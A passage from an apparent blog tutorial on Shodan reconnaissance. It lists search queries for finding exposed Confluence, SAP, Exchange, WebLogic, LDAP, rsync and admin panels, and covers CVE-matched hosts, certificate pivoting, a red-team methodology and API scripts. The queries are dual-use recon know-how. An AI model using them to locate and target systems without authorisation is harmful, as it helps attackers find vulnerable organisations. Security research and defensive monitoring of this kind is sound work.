RCE<br>vuln:CVE-2022-26134<br>http.title:&quot;Confluence&quot; vuln:CVE-2022-26134<br><br># CVE-2023-22518 - Confluence data destruction, no auth required<br>http.title:&quot;Confluence&quot; vuln:CVE-2023-22518<br><br># CVE-2022-0540 - Jira auth bypass<br>http.title:&quot;Jira&quot; vuln:CVE-2022-0540</pre><h3>SAP NetWeaver — The Enterprise Goldmine Most People Miss</h3><p>SAP runs the financial backbone of 77% of Fortune 500 companies. SAP recon is niche, high-value, and massively overlooked in public Shodan guides. If you find exposed SAP infrastructure — that’s ERP data, payroll, financial records, supply chain.</p><pre># SAP NetWeaver Application Server<br>&quot;SAP NetWeaver Application Server&quot;<br>http.title:&quot;SAP NetWeaver&quot;<br><br># SAP Web GUI (ICM)<br>http.title:&quot;SAP&quot; port:8000<br>http.title:&quot;SAP&quot; port:8443<br>http.title:&quot;SAP Web GUI&quot;<br><br># SAP Router (protocol gateway - often poorly configured)<br>port:3299 &quot;SAP Router&quot;<br><br># SAP Message Server<br>port:3600<br>port:3900<br><br># SAP HANA database admin interface<br>http.title:&quot;SAP HANA&quot;<br>port:4300 &quot;HANA&quot;<br><br># SAP Fiori launchpad (modern UI)<br>http.title:&quot;SAP Fiori&quot;<br><br># CVE-2020-6287 - SAP RECON, unauthenticated admin via ICM<br># CVSS 10.0 - highest possible score<br>vuln:CVE-2020-6287</pre><blockquote><em>🎉 </em><strong><em>Fun Fact #9:</em></strong><em> CVE-2020–6287 (SAP RECON) has a CVSS score of </em><strong><em>10.0</em></strong><em> — the absolute maximum. It allows an unauthenticated attacker to create a new admin user in SAP over the internet. CISA issued an emergency alert. Researchers found hundreds of exposed instances using exactly these Shodan queries.</em></blockquote><h3>ManageEngine — The MSP Attack Surface</h3><p>ManageEngine makes IT management tools used by thousands of companies and MSPs. Multiple critical CVEs exploited in the wild by both ransomware groups and nation-state actors.</p><pre># ManageEngine ServiceDesk Plus (IT helpdesk)<br>http.title:&quot;ManageEngine ServiceDesk&quot;<br>http.title:&quot;ServiceDesk Plus&quot;<br><br># ManageEngine Desktop Central / Endpoint Central<br>http.title:&quot;Desktop Central&quot;<br>http.title:&quot;ManageEngine Desktop Central&quot;<br>http.title:&quot;ManageEngine Endpoint Central&quot;<br><br># ManageEngine ADManager Plus (Active Directory management)<br>http.title:&quot;ManageEngine ADManager&quot;<br><br># ManageEngine ADAudit Plus<br>http.title:&quot;ManageEngine ADAudit&quot;<br><br># ManageEngine OpManager (network monitoring)<br>http.title:&quot;ManageEngine OpManager&quot;<br><br># ManageEngine ADSelfService Plus (password reset portal - very exposed)<br>http.title:&quot;ADSelfService Plus&quot;</pre><h3>Oracle WebLogic — Deserialisation City</h3><p>Oracle WebLogic has had critical deserialisation vulnerabilities since 2015 and they keep coming. Large enterprises, banks, and government systems run WebLogic everywhere.</p><pre># WebLogic admin console (port 7001 or 7002)<br>http.title:&quot;Oracle WebLogic Server Administration Console&quot;<br>port:7001 &quot;WebLogic&quot;<br>port:7002 &quot;WebLogic&quot;<br><br># WebLogic T3 protocol (the deserialisation attack vector)<br>port:7001 &quot;HELO&quot;<br>port:7002<br><br># Oracle WebLogic WLST (scripting interface)<br>port:9999 &quot;WebLogic&quot;<br></pre><h3>Web Admin Panels — Low Hanging Fruit</h3><p>These are common, often under-monitored, and frequently run with default credentials or known CVEs.</p><pre># phpMyAdmin — database management over HTTP<br>http.title:&quot;phpMyAdmin&quot;<br>&quot;phpMyAdmin&quot; http.status:200<br><br># Webmin - Linux server admin panel<br>http.title:&quot;Webmin&quot;<br>port:10000 &quot;Webmin&quot;<br><br># cPanel and WHM - web hosting control panels<br>http.title:&quot;cPanel&quot;<br>http.title:&quot;WHM&quot;<br>port:2082 &quot;cPanel&quot;<br>port:2083 &quot;cPanel&quot;<br>port:2086 &quot;WHM&quot;<br><br># Plesk<br>http.title:&quot;Plesk&quot;<br>port:8443 &quot;Plesk&quot;<br><br># DirectAdmin<br>http.title:&quot;DirectAdmin&quot;<br>port:2222<br><br># WHMCS (billing / client management for hosting)<br>http.title:&quot;WHMCS&quot;<br><br># ISPConfig<br>http.title:&quot;ISPConfig&quot;</pre><h3>LDAP and Active Directory — Direct Domain Recon</h3><p>Finding exposed LDAP is finding the keys to the kingdom. Unauthenticated LDAP binds can enumerate entire Active Directory structures — every user, every group, every computer.</p><pre># LDAP exposed (Active Directory / LDAP servers)<br>port:389<br><br># LDAPS (secure LDAP - still risky if misconfigured)<br>port:636<br><br># Global Catalog (full forest enumeration)<br>port:3268<br>port:3269<br><br># Anonymous LDAP bind (worst case - full AD enum without credentials)<br>port:389 &quot;namingContexts&quot;<br><br># Specific DC discovery<br>port:389 &quot;DC=&quot; org:&quot;Target&quot;<br><br># LDAP with specific domain context visible in banner<br>port:389 &quot;dc=targetcorp,dc=com&quot;</pre><h3>Rsync — Accidental File System Exposure</h3><p>Rsync servers exposed to the internet with no authentication essentially hand over their entire file system to anyone who connects. Backup servers, media servers, and CI/CD artifact stores are commonly exposed this way.</p><pre># Open rsync daemons<br>port:873<br><br># Rsync with module listing enabled (shows what&#39;s shared)<br>port:873 &quot;rsync&quot;<br>&quot;@RSYNCD&quot; port:873<br><br># Rsync with specific module names (often reveal purpose)<br>port:873 &quot;backup&quot;<br>port:873 &quot;data&quot;<br>port:873 &quot;files&quot;</pre><h3>Microsoft Exchange — Full OWA Coverage</h3><p>Exchange is one of the most attacked enterprise products of the past 5 years. Here’s the complete picture beyond just ProxyShell:</p><pre># Outlook Web Access — the primary attack surface<br>http.title:&quot;Outlook Web App&quot;<br>http.title:&quot;Outlook&quot;<br>http.title:&quot;Microsoft Exchange&quot;<br><br># Exchange ActiveSync (mobile device sync endpoint)<br>&quot;/Microsoft-Server-ActiveSync&quot;<br><br># Exchange Autodiscover (used in credential phishing)<br>&quot;/autodiscover/autodiscover.xml&quot;<br><br># Exchange OWA with version detection<br>product:&quot;Microsoft Exchange httpapi&quot; port:443<br><br># Exchange Admin Center (EAC)<br>http.title:&quot;Exchange Admin Center&quot;<br><br># ProxyShell (CVE-2021-34473 + CVE-2021-34523 + CVE-2021-31207)<br>vuln:CVE-2021-34473<br><br># ProxyNotShell (CVE-2022-41082)<br>vuln:CVE-2022-41082<br><br># CVE-2023-21529 - Exchange RCE<br>vuln:CVE-2023-21529</pre><h3>Part 8: The Shodan Ecosystem — Tools You Need to Know</h3><h3>Shodan Exploits Search</h3><p><a href="https://cvedb.shodan.io/">exploit.shodan.io</a> is a separate Shodan product that cross-references CVEs with known public exploit code. Combine it with your recon:</p><ul><li>Search a CVE on <a href="https://cvedb.shodan.io/">exploit.shodan.io</a> → get exploit metadata</li><li>Search the same CVE with vuln:CVE-xxxx on Shodan → get affected hosts</li><li>Cross-reference with your target org’s asset list → prioritize</li></ul><h3>InternetDB API — Free, No Key Required</h3><p>Shodan’s InternetDB is a free, no-API-key-required endpoint that gives you open ports, CPEs, CVEs, hostnames, and tags for any IP:</p><pre>import requests<br><br>def internetdb_lookup(ip):<br>    url = f&quot;https://internetdb.shodan.io/{ip}&quot;<br>    response = requests.get(url)<br>    return response.json()<br># No API key needed - completely free<br>data = internetdb_lookup(&quot;8.8.8.8&quot;)<br>print(data)<br># Returns: ports, cpes, vulns, hostnames, tags</pre><p>This is incredibly useful for quick triage during engagements — no credits burned, instant results.</p><blockquote><em>🎉 </em><strong><em>Fun Fact #10:</em></strong><em> InternetDB gets updated from the same Shodan scan data as the main API. For simple port/CVE lookups on specific IPs, it’s faster than the full API and costs you nothing. Most people doing Shodan recon don’t even know it exists.</em></blockquote><h3>Shodan Maps</h3><p>maps.shodan.io visualizes search results geographically in real time. Incredibly useful for:</p><ul><li>Visualizing where an org’s assets are concentrated geographically</li><li>Spotting unusual geographic clustering (e.g., an org that should only operate in India suddenly has 40 assets in Eastern Europe)</li><li>Understanding ISP distribution</li></ul><h3>Shodan Images</h3><p>images.shodan.io shows only results where Shodan captured screenshots. It&#39;s a visual gallery of exposed interfaces — cameras, desktops, admin panels, IoT dashboards. Filter by search terms the same way as normal Shodan.</p><h3>Part 9: SSL Certificate Pivoting — The Hidden Superpower</h3><p>This technique alone has unlocked more reconnaissance than any other single Shodan skill. SSL certificates contain structured metadata that organizations embed themselves — and that metadata links assets together in ways DNS won’t show you.</p><pre># All IPs serving certs issued to a specific domain (finds hidden assets)<br>ssl.cert.subject.cn:&quot;*.example.com&quot;<br><br># The organization field in the cert - links subsidiaries and acquisitions<br>ssl.cert.subject.o:&quot;Example Corporation&quot;<br><br># Find expired certs (hygiene indicator - poor patch culture)<br>ssl.cert.expired:true org:&quot;Target&quot;<br><br># Self-signed certs - often internal services accidentally exposed<br>ssl.cert.issuer.cn:&quot;example.com&quot;<br><br># Find certs by the Certificate Authority (who they trust)<br>ssl.cert.issuer.o:&quot;Let&#39;s Encrypt&quot; org:&quot;Target&quot;<br><br># SHA256 fingerprint - pivot from a known cert to find related servers<br>ssl.cert.fingerprint:&quot;aa:bb:cc:...&quot;<br><br># Find all IPs with the same SSL cert (load balancers, CDN edges)<br>ssl.cert.serial:&quot;12345678901234567890&quot;<br><br># Subject Alternative Names contain subdomain inventory<br>ssl:&quot;*.target.com&quot;</pre><h3>Why This Is So Powerful</h3><p>When a company acquires another company, the acquired org’s servers often still have SSL certs issued to the old organization name. That means ssl.cert.subject.o:&quot;Acquired Company&quot; returns servers that are now part of the acquirer&#39;s attack surface — but that the acquirer&#39;s security team may not know about yet. This is how red teams find the forgotten corners.</p><blockquote><em>🎉 </em><strong><em>Fun Fact #11:</em></strong><em> SSL certificate transparency logs + Shodan = the most complete subdomain enumeration possible. Every cert issued by a public CA is logged publicly. Tools like </em><em>crt.sh give you the cert history, and Shodan tells you which IPs are actually serving each cert.</em></blockquote><h3>Part 10: The Full Methodology — How Red Teams Actually Do It</h3><p>Ad-hoc dorks are great for practice. Professional reconnaissance is systematic. Here’s the exact methodology for mapping an organization’s full attack surface:</p><h3>Phase 1: Establish Your Anchors</h3><p>Start with what you know — the organization’s name, primary domain, and any known IP ranges:</p><pre># Anchor 1: Organization name from ASN WHOIS<br>org:&quot;Target Corporation&quot;<br>org:&quot;Target Corp&quot;   # Try variations<br><br># Anchor 2: SSL certificate CN pivoting<br>ssl.cert.subject.cn:&quot;*.targetcorp.com&quot;<br><br># Anchor 3: Known net ranges<br>net:203.0.113.0/24</pre><h3>Phase 2: Map the IP Ranges</h3><p>Once you have confirmed IPs, find their full network ranges:</p><pre># Sweep the surrounding /24 or /16<br>net:203.0.113.0/24<br><br># Find all ranges via ASN<br>asn:AS12345<br><br># Cross-reference multiple ranges<br>net:203.0.113.0/24 OR net:198.51.100.0/24</pre><h3>Phase 3: Enumerate All Hostnames</h3><p>Pull unique hostnames from all matching results. These reveal:</p><ul><li>Subdomain naming conventions (dev-, staging-, internal-)</li><li>Cloud footprint (*.aws.targetcorp.com, *.azure.com with target certs)</li><li>Legacy infrastructure (webserver-2009.targetcorp.com)</li><li>Third-party hosted services (Salesforce, Workday, etc.)</li></ul><h3>Phase 4: Technology Stack Fingerprinting</h3><p>For each asset, record the technology stack:</p><pre># Find all web servers across the org<br>org:&quot;Target&quot; http.status:200<br><br># Filter by specific tech<br>org:&quot;Target&quot; product:&quot;Microsoft IIS&quot;<br>org:&quot;Target&quot; product:&quot;nginx&quot;<br>org:&quot;Target&quot; product:&quot;Apache httpd&quot;<br><br># Find PHP applications (often older, more vulnerable)<br>org:&quot;Target&quot; &quot;X-Powered-By: PHP&quot;<br><br># Java application servers<br>org:&quot;Target&quot; product:&quot;Apache Tomcat&quot;<br><br># Find WAF signatures in use<br>org:&quot;Target&quot; &quot;Server: cloudflare&quot;<br>org:&quot;Target&quot; &quot;X-Sucuri-ID&quot;</pre><h3>Phase 5: CVE Correlation</h3><p>Map software versions to known CVEs. Cross-reference product and version fields with NVD:</p><pre>org:&quot;Target&quot; product:&quot;Apache httpd&quot; version:&quot;2.4.49&quot;<br>org:&quot;Target&quot; product:&quot;Microsoft IIS&quot; version:&quot;7.5&quot;<br>org:&quot;Target&quot; vuln:CVE-2023-27350</pre><h3>Phase 6: False Positive Removal — The Critical Step</h3><p>This is where most beginners fail. Raw Shodan results for an org search include:</p><ul><li>ISP infrastructure in the same AS block</li><li>CDN edge nodes (Cloudflare, Akamai, Fastly) that serve the org’s content</li><li>Shared hosting where multiple clients share one IP</li><li>Transit infrastructure (not actually the org’s servers)</li></ul><p><strong>How to validate an asset is genuinely the org’s:</strong></p><ol><li>Does the SSL cert CN contain the org’s domain?</li><li>Does the HTTP response title match the org’s products?</li><li>Does the hostname resolve to the org’s domain?</li><li>Does the response body contain the org’s branding?</li><li>Cross-reference with WHOIS for the specific IP</li></ol><p>Only report assets that pass at least 2–3 of these checks.</p><h3>Phase 7: Risk Grading and Reporting</h3><p>Grade findings by severity:</p><p>Grade Meaning Examples <strong>A</strong> Clean surface, no major exposures Standard web ports, patched services <strong>B</strong> Minor issues, low risk Outdated TLS versions, minor info disclosure <strong>C</strong> Moderate risk, attention needed Admin panels public, some missing auth <strong>D</strong> High risk, remediate soon Exposed management interfaces, unpatched critical CVEs <strong>F</strong> Critical — drop everything Open databases, ICS exposed, active exploitable vulns</p><h3>Part 11: The Shodan API — Where It Gets Truly Powerful</h3><p>Manual searching is great. Programmatic access is where real recon happens. Every serious red team runs Shodan through its API.</p><h3>Python — The Basics</h3><pre>import shodan<br><br>api = shodan.Shodan(&#39;YOUR_API_KEY_HERE&#39;)<br># Simple search<br>results = api.search(&#39;org:&quot;Target Corporation&quot; port:443&#39;)<br>print(f&quot;Total assets found: {results[&#39;total&#39;]}&quot;)<br>for host in results[&#39;matches&#39;]:<br>    print(f&quot;IP: {host[&#39;ip_str&#39;]}&quot;)<br>    print(f&quot;Port: {host[&#39;port&#39;]}&quot;)<br>    print(f&quot;Product: {host.get(&#39;product&#39;, &#39;unknown&#39;)}&quot;)<br>    print(f&quot;Version: {host.get(&#39;version&#39;, &#39;unknown&#39;)}&quot;)<br>    <br>    # CVEs matched by Shodan (gold dust for red teams)<br>    if &#39;vulns&#39; in host:<br>        for cve, details in host[&#39;vulns&#39;].items():<br>            print(f&quot;  ⚠️  CVE: {cve} - CVSS: {details.get(&#39;cvss&#39;, &#39;?&#39;)}&quot;)<br>    print(&quot;---&quot;)</pre><h3>Pagination — Getting All Results</h3><p>Shodan’s free web UI shows 10 results. The API gives you 100 per page. Deep mode requires pagination:</p><pre>import shodan<br>import time<br><br>api = shodan.Shodan(&#39;YOUR_API_KEY&#39;)<br>all_results = []<br>query = &#39;org:&quot;Target Corporation&quot;&#39;<br># Pull up to 5 pages (500 results)<br>for page in range(1, 6):<br>    try:<br>        results = api.search(query, page=page)<br>        all_results.extend(results[&#39;matches&#39;])<br>        print(f&quot;Page {page}: {len(results[&#39;matches&#39;])} results&quot;)<br>        time.sleep(1)  # Be polite to the API<br>        <br>        # Stop if we&#39;ve got everything<br>        if len(results[&#39;matches&#39;]) &lt; 100:<br>            break<br>    except shodan.APIError as e:<br>        print(f&quot;Error: {e}&quot;)<br>        break<br>print(f&quot;Total collected: {len(all_results)} assets&quot;)</pre><h3>Full Host Lookup — Everything Shodan Knows</h3><pre># Get the complete profile for a single IP<br>host = api.host(&#39;203.0.113.1&#39;)<br>print(f&quot;IP: {host[&#39;ip_str&#39;]}&quot;)<br>print(f&quot;Organization: {host.get(&#39;org&#39;, &#39;n/a&#39;)}&quot;)<br>print(f&quot;ISP: {host.get(&#39;isp&#39;, &#39;n/a&#39;)}&quot;)<br>print(f&quot;Operating System: {host.get(&#39;os&#39;, &#39;n/a&#39;)}&quot;)<br>print(f&quot;Country: {host.get(&#39;country_name&#39;, &#39;n/a&#39;)}&quot;)<br>print(f&quot;City: {host.get(&#39;city&#39;, &#39;n/a&#39;)}&quot;)<br>print(f&quot;ASN: {host.get(&#39;asn&#39;, &#39;n/a&#39;)}&quot;)<br>print(f&quot;All open ports: {host[&#39;ports&#39;]}&quot;)<br>print(f&quot;Hostnames: {host.get(&#39;hostnames&#39;, [])}&quot;)<br># Iterate every service banner for every open port<br>for service in host[&#39;data&#39;]:<br>    print(f&quot;\nPort {service[&#39;port&#39;]} - {service.get(&#39;product&#39;, &#39;?&#39;)} {service.get(&#39;version&#39;, &#39;&#39;)}&quot;)<br>    print(service.get(&#39;banner&#39;, &#39;&#39;)[:300])</pre><h3>The CLI — Quick One-Liners</h3><pre># Install<br>pip install shodan<br><br># Initialize with your key<br>shodan init YOUR_KEY_HERE<br><br># Count results before burning credits<br>shodan count &#39;org:&quot;Target Corporation&quot;&#39;<br><br># Search and get clean output<br>shodan search --fields ip_str,port,product,hostnames &#39;org:&quot;Target&quot; port:22&#39;<br><br># Look up a single IP<br>shodan host 203.0.113.1<br><br># Download results in bulk (uses query credits)<br>shodan download target_scan &#39;org:&quot;Target Corporation&quot;&#39;<br>shodan parse --fields ip_str,port,product target_scan.json.gz<br><br># Set up monitoring alert for your own network<br>shodan alert create --triggers open_port &#39;net:203.0.113.0/24&#39;<br><br># List your active alerts<br>shodan alert list</pre><h3>Part 12: HTTP Analysis and Banner Intelligence</h3><p>Shodan stores the first ~4KB of HTTP responses. This gives you a searchable archive of what web services are actually saying.</p><h3>Searching Page Titles</h3><pre># Admin panels and login pages<br>http.title:&quot;Admin Panel&quot;<br>http.title:&quot;Administration&quot;<br>http.title:&quot;Control Panel&quot;<br>http.title:&quot;phpMyAdmin&quot;<br>http.title:&quot;WebAdmin&quot;<br><br># Default installation pages (still running default config)<br>http.title:&quot;Apache2 Ubuntu Default Page&quot;<br>http.title:&quot;Welcome to nginx!&quot;<br>http.title:&quot;IIS Windows Server&quot;<br>http.title:&quot;Test Page for the Apache HTTP Server&quot;<br><br># CMS installations<br>http.title:&quot;Powered by WordPress&quot; org:&quot;Target&quot;<br>http.title:&quot;Drupal&quot;<br>http.title:&quot;Joomla&quot;</pre><h3>Searching Inside Page Content</h3><pre># Error pages that leak stack traces / framework info<br>http.html:&quot;stack trace&quot;<br>http.html:&quot;Fatal error&quot; org:&quot;Target&quot;<br><br># Pages leaking internal IP addresses<br>http.html:&quot;192.168.&quot;<br>http.html:&quot;10.0.0.&quot;<br><br># Default credentials pages<br>http.html:&quot;admin:admin&quot;<br>http.html:&quot;password: admin&quot;<br><br># Configuration files accidentally exposed<br>http.html:&quot;[database]&quot;<br>http.html:&quot;DB_PASSWORD&quot;<br><br># Git repository indicators<br>http.html:&quot;.git&quot;</pre><h3>HTTP Status Code Hunting</h3><pre># Services returning 200 on unusual ports (shadow IT)<br>org:&quot;Target&quot; http.status:200 -port:80 -port:443 -port:8080 -port:8443<br><br># 401/403 - exists but protected (still valuable for surface mapping)<br>org:&quot;Target&quot; http.status:401<br>org:&quot;Target&quot; http.status:403<br><br># 500 errors - might expose debug info<br>org:&quot;Target&quot; http.status:500</pre><h3>Part 13: Shodan Monitoring — Going From Offensive to Defensive</h3><p>Here’s something most Shodan tutorials skip: <strong>Shodan is an incredible defensive tool</strong> too. Once you know how to find exposed assets, you can use the same capability to watch your own infrastructure.</p><h3>Shodan Alerts</h3><pre># Alert when any new port opens on your IP range<br>shodan alert create --triggers open_port &#39;net:YOUR.IP.RANGE.0/24&#39;<br><br># Alert on specific vulnerabilities detected<br>shodan alert create --triggers vuln &#39;net:YOUR.IP.RANGE.0/24&#39;<br><br># Alert on any new Shodan scan of your IPs<br>shodan alert create --triggers malware &#39;net:YOUR.IP.RANGE.0/24&#39;</pre><p>When Shodan detects a change — a new port opens, a new vulnerability is matched, a new service appears — you get notified. This means you can catch exposed dev servers before threat actors do.</p><h3>Shodan Monitor vs. Manual Recon</h3><p>Set up alerts on your own org’s CIDR blocks and let Shodan tell you when something changes. This is free threat intelligence running 24/7 on your attack surface.</p><blockquote><em>🎉 </em><strong><em>Fun Fact #12:</em></strong><em> Some bug bounty hunters have automated Shodan API monitoring on their target programs. When a new asset appears in scope, they’re the first to test it — often within hours of it going live. The fastest finders get the biggest bounties.</em></blockquote><h3>Part 14: Correlation With Other OSINT Tools</h3><p>Shodan alone is powerful. Shodan combined with other OSINT sources is a different beast entirely.</p><h3>The Full Recon Stack</h3><p><strong>Censys</strong> — Similar to Shodan but with better SSL certificate data and a more structured query syntax. Cross-reference Shodan findings with Censys to find assets one misses.</p><p><strong>FOFA</strong> — Chinese alternative to Shodan with excellent coverage of Asian internet infrastructure. Critical if your target has operations in China, Taiwan, or Southeast Asia.</p><p><strong>Netlas.io</strong> — Newer entrant, strong on HTTP response data and has some unique filtering that Shodan lacks.</p><p><strong>GreyNoise</strong> — Takes Shodan data and adds context about who’s actually scanning what. Lets you distinguish between “this IP is exposed” and “this IP is actively being targeted by threat actors right now.”</p><p><strong>Shodan + crt.sh</strong> — Certificate transparency logs give you the full historical subdomain list. Cross-reference with Shodan to find which subdomains have live IP addresses.</p><p><strong>Shodan + SecurityTrails</strong> — SecurityTrails has historical DNS data. Shodan tells you what’s live now. Combined, you can see assets that used to point to certain IPs and might still be running on those IPs even after DNS changes.</p><p><strong>Shodan + VirusTotal</strong> — IPs that appear on Shodan as exposed services that also appear in VirusTotal’s malware/phishing datasets are a red flag — someone might already be exploiting them.</p><h3>A Practical Correlation Workflow</h3><pre>Step 1: shodan search → get IP list for org<br>Step 2: crt.sh → get all cert-logged subdomains<br>Step 3: SecurityTrails → resolve historical DNS for all subdomains<br>Step 4: Compare: which IPs appear in both Shodan + SecurityTrails?<br>Step 5: GreyNoise → which of those IPs are being actively targeted?<br>Step 6: VirusTotal → which appeared in threat intelligence?<br>Step 7: Manual validation → verify the highest-priority findings</pre><h3>Part 15: Tips, Tricks, and Pro Moves</h3><p>A few things that take you from “I know Shodan” to “I really know Shodan”:</p><h3>Credit Management</h3><p>Shodan search credits are finite and cost real money. Before running any search that returns thousands of results:</p><pre># Always count first — free operation, no credits<br>shodan count &#39;org:&quot;Target Corporation&quot;&#39;</pre><p>If the count is 50,000, you need a plan before you run the search. Use facets to explore the data shape first, then narrow your query before pulling raw results.</p><h3>Saving and Reusing Results</h3><pre>import json</pre><pre># Save locally — re-running same query = wasted credits<br>with open(&#39;target_results.json&#39;, &#39;w&#39;) as f:<br>    json.dump(results, f)</pre><pre># Load from cache<br>with open(&#39;target_results.json&#39;, &#39;r&#39;) as f:<br>    results = json.load(f)</pre><h3>The &quot;has_screenshot:true&quot; Trick</h3><p>One of the most underrated Shodan features. When you add has_screenshot:true to any query, results include a visual thumbnail of what the service looks like. Great for quickly triaging camera feeds, exposed desktops, and web admin panels without ever connecting to them directly.</p><pre>has_screenshot:true org:&quot;Target&quot;<br>has_screenshot:true port:5900<br>has_screenshot:true http.title:&quot;Remote Desktop&quot;</pre><h3>Searching Before/After Dates</h3><pre># Find assets that appeared in Shodan&#39;s index recently<br>after:2024-01-01 org:&quot;Target&quot;<br><br># Find assets that haven&#39;t been seen recently (potentially stale, but still running)<br>before:2023-06-01 org:&quot;Target&quot; port:3389</pre><h3>Boolean OR Queries</h3><pre># Find multiple port types in one query<br>org:&quot;Target&quot; port:22 OR port:23 OR port:3389<br><br># Multiple products<br>product:&quot;Apache&quot; OR product:&quot;nginx&quot; org:&quot;Target&quot;</pre><blockquote><em>🎉 </em><strong><em>Fun Fact #13:</em></strong><em> The U.S. Department of Homeland Security’s Cybersecurity and Infrastructure Security Agency (CISA) uses Shodan as part of their infrastructure monitoring. The same tool red teamers use to find vulnerabilities is used by defenders to catch them first.</em></blockquote><h3>The Last Section — I Built Something to Automate All of This</h3><p>After a couple of days doing this manually — running the same org queries, removing the same ISP false positives, writing the same reports in slightly different formats, paginating through results page by page — I got frustrated. So I automated it.</p><p><strong>ShodanX v1.0</strong> is a Python-based enterprise recon engine I built from scratch. You give it an organization name and an API key. It handles everything else.</p><p>Here’s what makes it different from just writing a Shodan query yourself:</p><p><strong>QueryIntelligence</strong> — before a single credit gets spent, the tool analyzes the org name, detects known abbreviations, infers the industry, generates probable domains, and ranks 100+ Shodan queries by confidence score. You see exactly what’s going to run and what it’ll cost before anything happens. You pick the threshold. You stay in control.</p><p><strong>Multi-source chaining</strong> — it doesn’t stop at Shodan. It chains crt.sh certificate transparency, HackerTarget passive DNS, mass parallel DNS resolution, and InternetDB enrichment into a single automated pipeline. Subdomains get discovered and resolved before Shodan even runs.</p><p><strong>Intelligent false positive removal</strong> — a RelevanceFilter cross-checks every result against the target&#39;s hostnames, SSL cert CNs, org metadata, and SAN extensions. ISP infrastructure and CDN edge nodes never make it into the report. Only assets verifiably belonging to the target org get counted.</p><p><strong>CVE severity breakdown</strong> — instead of just counting CVEs, every finding gets categorized into Critical, High, Medium, and Low. The difference between “they have 47 CVEs” and “they have 2 Critical RCEs, 5 Highs, and 12 Mediums” is the difference between noise and a decision.</p><p><strong>Favicon fingerprinting</strong> — every HTTP and HTTPS service gets its favicon hashed and matched against known products. Cobalt Strike C2 servers, Grafana, Jenkins, VMware, Oracle WebLogic, SAP, and 15 more — identified from a hash before you ever connect. This is the technique most Shodan guides never mention.</p><p><strong>Full tech stack fingerprinting</strong> — WAF presence, web server type, and application framework all detected from response headers and SSL data. You know exactly what you’re walking into before you write a single payload.</p><p><strong>A-to-F risk grading</strong> — the final report assigns the organization a letter grade with an executive summary. Not a score out of 100 that nobody interprets consistently. An actual grade, plain-English explanation, and a clear picture of what needs to happen.</p><p><strong>CISO-ready HTML reports</strong> — dark-themed enterprise dashboard with charts, a sortable asset table, CVE breakdown, geographic distribution, favicon hit table, and CSV export. Marked CONFIDENTIAL. The kind of output you hand to a client without reformatting anything.</p><p>It’s three files: <strong>shodanx.py</strong> for the core engine, <strong>query_intelligence.py</strong> for the smart query planner, and <strong>shodanx_html_template.py</strong> for the report. Run <strong>python shodanx.py</strong>, enter your API key, enter the org name, pick a mode, and walk away. Come back to a complete attack surface report.</p><p>Is it a replacement for actually knowing Shodan? Absolutely not — and that’s why this article came first. You need to understand the data, the filters, the techniques, and the methodology before you trust any tool that runs them automatically. But once you do understand all that? Having the repetitive parts automated means you can spend your time on the analysis that actually matters.</p><blockquote><a href="https://github.com/ShubhamGupta-VULNDETOX/ShodanX"><strong>https://github.com/ShubhamGupta-VULNDETOX/ShodanX</strong></a></blockquote><p><em>If this helped, follow me for more red team, OSINT, and offensive security deep-dives. I write about real techniques, real tools, and real methodology — not surface-level “top 10 hacking tools” listicles.</em></p><p><em>Found something interesting with Shodan? Learned a dork that wasn’t in here? Drop it in the comments — the community gets smarter when we share.</em></p><p><strong>Tags:</strong> Shodan, Ethical Hacking, Cybersecurity, OSINT, Red Team, Penetration Testing, InfoSec, Bug Bounty, Attack Surface Management, Shodan Dorking, Cybersecurity Tools, Network Security</p><p><em>© This writeup is for educational purposes and authorized security research only.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=24df16f2b84e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>